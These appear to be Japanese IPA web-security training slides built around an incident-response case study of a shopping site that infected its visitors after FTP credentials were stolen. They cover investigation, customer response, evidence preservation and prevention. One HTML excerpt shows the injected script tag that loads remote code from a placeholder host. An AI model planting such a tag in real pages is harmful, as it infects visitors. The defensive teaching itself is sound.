安全なウェブサイトの作り方 改訂第3版

http://www.ipa.go.jp/security/vuln/websecurity.html

ウェブアプリケーションの

安全性向上のためのポイント

• 実施する対策の効果や性質を正しく理解する

• 安全なプログラミング知識を身に付ける

参考サイト：

安全なウェブサイトの作り方

http://www.ipa.go.jp/security/vuln/websecurity.html

セキュア・プログラミング講座（新版）

http://www.ipa.go.jp/security/awareness/vendor/programmingv2/index.html

知っていますか？脆弱性

http://www.ipa.go.jp/security/vuln/vuln_contents/

■情報システムのぜい弱性対策への取り組み

～情報セキュリティ早期警戒パートナーシップ～

①製品開発者

及び

ウェブサイト運営者によるぜい弱性対策を促進

②不用意なぜい弱性関連情報の公表やぜい弱性の放置を抑制

③個人情報等重要情報の流出や重要システムの停止を予防

【期待効果】

脆弱性関連 情報届出

受付機関

分析機関

報告された脆弱性 関連情報の内容確認 報告された脆弱性 関連情報の検証 脆弱性関連 情報届出 対策情報ポータル W eb サイト運営者 検証、対策実施 個人情報漏洩時は事実関係を公表

発

見

者

脆弱性関連 情報通知 脆弱性関連情報通知 対策方法等 公表 対応状況の集約、 公表日の調整等

調整機関

公表日の決定、 海外の調整機関 との連携等

ユーザー

政府

企業

個人

システム導入 支援者等 ソフト 開発者等

脆弱性関連情報流通体制

ソフトウェ ア 製品の脆弱性 W eb サイトの 脆弱性 対応状況 脆弱性対策情報ポータル

受付・分析機関

報告された 脆弱性関連情報の 内容確認・検証 脆弱性関連情報通知

分析支援機関

産総研など

ユーザ

ケーススタディ3

インシデントレスポンス

企業サイトがウイルス感染の加害者に

ケーススタディ3

インシデントレスポンス

3.1 インシデントレスポンスとは

3.2 事件発生：ショッピングサイト上にウイルス

3.3 お客さんに向けた緊急対応開始

3.4 後始末、まとめ

3.1 インシデントレスポンスとは

• インシデント＝情報セキュリティに関

連する事件、事故への組織的な「対

応」

• 発生時対応策、手順整備などの事

前準備が重要

• http://www.ipa.go.jp/security/rfc/R

FC2350JA.html

事例:ショッピングサイトでウイルス感染？

S h o p p i n g S i t e

About

Search

Login

C

• ショッピングサイト C社。

• 社員数200名、Windowsのショッピングカートシス

テムを使った中規模ショッピングサイト。会員数10

万人程度。

• リピーターがついており、アクセスは盛況。

• 最新パッチの適用、ユーザ管理、アクセス制限と、

一通りは対策。

C社のセキュリティ・ウイルス対策

• ファイアウォールを軸にDMZ（非武装中

立地帯）構築、外部向けサーバはすべ

てそちらに配置

• ウェブアプリケーション監査も実施済み

• ウイルス対策は全マシンで実施

– 月1回はフルスキャンが義務

• ウイルス対策ゲートウエイも導入済み

– 迷惑メール対策ゲートウエイも兼ねている

DMZ等詳細

• DMZ（非武装中立地帯）には、メールサー

バ、ウェブプロキシサーバ、DNSキャッシュ

サーバ、外部向けDNSサーバ、外部向け

ウェブサーバを配置

– LANから外向けの通信はすべてDMZの各種

サーバ経由

– 外からのメール受信、DNS参照、ウェブ参照

はすべてDMZで受ける

• 無線LANは未導入

DMZ

ローカルエリアネットワーク

インター

ネット

ファイア

ウォール

外部とのすべての

通信はDMZを経由

して行われる

3.2 事件発生：

ショッピングサイト上にウイルス

S h o p p i n g S i t e

About

Search

Login

C

• ある日突然C社に、「

ウェブを見たらウイルス対

策ソフトが反応した

」「

ウェブサイトでウイルスに

感染した

」という苦情が複数よせられる

• 社内で試したら再現した！

• ショッピングサイトにはユーザがページ内容を変

更したり、ファイルをアップロードするような機能

はない

_→

一体どこから？

緊急対応

• これ以上のダウンロード＝被害拡大を

止める必要がある

• しかし、止めてしまう・インターネットから

遮断してしまうと原因が探れない

現場長の判断で

まずは原因を究明することになった

現在の状態を調査する

• 外部に表示するウェブサイトをメンテナンス用

サーバに切り替え、切り離したサイトを調査

• トップページに、悪意あるスクリプトを読みこま

せる内容を追加し、ウイルスに感染させようとし

ていた

• 他のページには同様の埋めこみは発見できず

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang=“ja”>

<head>

<title>Welcome to “C” shopping site</title>

<link rel="stylesheet" href="style.css" TYPE="text/css">

<script src=“http：//othersite.example.net/3.js”></script>

</head>

原因（侵入経路）の可能性

攻撃の種類

可能性

ネットワーク攻撃 最新パッチが当たっているため、可能性がある

としたら未知の脆弱性か

DNSへの攻撃

現象再現する（ウイルス警告）マシンと、しない

マシンがあるが、同じマシンでは必ず再現する

ウェブアプリケー

ションへの攻撃

ログを見たところ、怪しいSQL文の痕跡とかは

無さそうだ。クロスサイトスクリプティングの可

能性はあるが、怪しいリンクを踏まなくても再現

する

内部犯行

ダブルチェックを行っているし、外部からのFTP

アクセスも、方法を知る者はごくわずか

調査は行き詰まり、そして・・・

• ネットワーク攻撃ではなさそうか？

– IDS未導入なので断言はできないが・・・

• DNSも再現性から見て違うようだ。ウェ

ブアプリケーションも痕跡が見当たらな

いし、監査も実施済み

• 残る可能性は内部犯行？？？

このウイルス騒ぎが経営陣の耳に入り、

「すぐに止めろ！」と怒鳴られてしまった

→Time Up!

ここまでのところ、何がまずかったのか

• 原因究明を優先したこと？

＝お客さんの被害拡大の可能性を

「放置」したこと

• 原因究明の期限を決めなかった

こと？

• 経営陣に怒鳴られたこと？

3.3 お客さんに向けた緊急対応開始

• 外向けウェブサーバを切り離し、サービス復旧へ

• その間別サイトより静的ウェブコンテンツで説明

お客様へのお願い

C社ショッピングサイト事務局

平素よりご愛顧いただきまして感謝しております。

現在、当サイトはお客様よりお知らせいただいた「C社ショッピングサ

イトウェブページを見るとウイルス対策ソフトが警告を出す」との事象に

つきまして緊急調査を行っております。そのため、一時的に弊社サービ

スを利用できない状態となり、お客様にはご迷惑をおかけしております

が、調査に一定の目処が立つまで今しばらくお待ちください。なお、ウイ

ルスの駆除方法については・・・

サービス復旧への対応

S h o p p i n g S i t e

About

C

• 他にあやしいものが無いか、サーバやデー

タベースの内容を全面的にチェック

• 汚染されたコンテンツを修正後、再公開

• 多層防御の一環として、ウェブアプリケー

ションファイアウォール（WAF）やサーバ用

のアンチウイルス製品を導入

重要なお知らせ

◆

弊社ウェブサイトにおけるウイルス掲載の問題に

ついて

◆

XXXX/XX～XX/XXの間アクセスされたお客様へ

参考：企業における情報セキュリティ事象被害額調査

http://www.ipa.go.jp/security/fy18/reports/virus-survey/index.html

ログから追いかける

• 残された可能性「内部犯行」を追いかけるた

めに、FTPによるアップデートのログ見たら、

アップデートの痕跡がいくつか残っていた

• 関係者はコンテンツアップを行う担当者（複

数）、外部委託先（1社）

まずはFTPのログを軸に更新記録と照合し

て「消し込み」を行ってみる

ログの「消し込み」

ログのエントリ

当該ページの更新者

20XX年2月1日AM10:25

担当者A＋B

20XX年2月4日PM3:03

担当者A＋B

20XX年2月6日PM5:48

外部委託C

20XX年2月10日AM4:10

？？？

事件が起きたのは2月10日。最新の更新記録だけ

が見当たらない？？

ログのIPアドレスを見ると、海外らしい？？

もしかしてウイルス？

• FTPへは正規のID、パスワードを用いてログ

インしている。「login failed」記録も無い

– ファイルの更新日付も最新更新と同じ

• FTPによるコンテンツアップデートを監視し、

ログイン情報を盗んで外部に送りつけるウイ

ルス？

• 担当B「そういえば、最近Internet

Explorerが重くて・・・」

_{まさにウイルス感染}

の特徴そのもの！

ウイルスはなぜ入り込んでしまっ

たのか？

• サーバー、クライアント両方の対策で検

知・駆除できなかった

• 月70万種以上の新種

– データベースが追いつかない

– 従来の方法論とは異なるウイルス対策の

必要性

• 監視をすり抜ける感染経路

– 直接原因：ウェブブラウザのプラグインを

更新していなかった（担当B談）

ちょっと見ただけで

も多数のプラグイン

が入っています。今

やこのプラグインな

どが悪い人の狙い

目となっています

MyJVNバージョンチェッカ

プラグイン等のバージョンをチェックするJavaソフトウエア

http://jvndb.jvn.jp/apis/myjvn/

当該ウイルスの特徴

• FlashやAcrobatなどの古い脆弱性を用いて

感染する（見ただけ感染）

• 亜種が多数発生し、ウイルス対策ソフトウエ

アでも検出できないことがある

• FTPのアカウント情報を盗聴し、

• 外部サーバはその情報をもとに、FTPにアク

セスしてコンテンツの一部にスクリプトを挿入

したもので更新する

外部サーバ

に送出する

DMZ

ローカルエリアネットワーク

インター

ネット

ファイア

ウォール

外部とのすべての

通信はDMZを経由

して行われる

ファイアウォールのポリシー

• 実は、LANから外に向けた通信は、フリー

で行えるようになっていた

– 「設定」によってウェブプロキシ、DNSキャッ

シュ、メールサーバを使っていただけ

– 通信要件が絞り込めていなかった・・・

インター

ネット

3.4 後始末

• 調査結果をお客さんに報告

• より詳細な駆除方法等の情報提供

• ログ等の情報から、被害が出た可能性があ

る期間、お客さんの特定

– トップページだったため、会員以外が被害にあっ

た可能性もある

• 被害にあったお客さんに連絡、対応窓口の

設置、受付体制とフローの整備

– 被害にあったお客さんには、買い物ポイント付与

C社の被った「損害」

• 営業停止期間の利益機会損失

• 賠償用買い物ポイント

• 詫び状送付関連費用

• 調査人件費

• 被害者対応人件費

• （失った顧客、信用）

「被害者」は誰か？

• C社は厳しい見方をすればお客さんに

対する「加害加担者」

• 捉え方・組織的対応を誤ると会社が滅

びる

– 「私だって寝ていないんだ」

• わかっている情報を適切に、わからない

ことは隠蔽しない

• メディアトレーニング

何がまずかったのか？

• エスカレーションフローが無かったこと

– 誰が判断していいのか、すべきなのか

• ↑も含めた緊急時対応手順が無かった

こと

• 「自サイトが原因でお客さんに被害が発

生してしまうような場合には、エスカレー

ションの上でただちにサービスを停止し

て切り離し、顧客対応と原因調査を実

施する」

要検討事項

• 証拠（原本）を無自覚に「汚染」してしま

ったが・・・

– 汚染を避けて「保全」することも考慮する

– 「たまたま」原因が推定できたことは単に「

幸運」にすぎない

• 証拠保全→専門家の解析という流れ

– 場合によっては警察の手に委ねる

– 自分の「限界」を知る

保全と調査（難易度の見極め）

• ハードディスク（原本）の保全

• メモリ内情報の保全

– ダンプ

– レジストリ

• フォレンジックスによる調査

– 専用ツールによる

ハードディスク調査

予防・検知

• ファイアウォールのルール見直し

• LAN内の感染活動検知の仕組み導入

– IDS（侵入検知システム）の配備

– 空きIPアドレスでパケットキャプチャ

• コンテンツメンテナンス方法の見直し

• Windows Update（Microsoft Update）、

各種プラグイン（Flash等）、ウェブブラウ

ザ等のアップデート励行

IDS（侵入検知システム）の利用

• 24時間監視サービスの利用

– 「警告」連絡を受けて対応する体制も必要

• 時間限定監視サービス等の利用

• 空きIPアドレスに設置、警告メール送信

• パケットキャプチャデータの解析に利用

– パケット採取ローテーション

– 空きIPの巡回活用

プロセスのスナップショット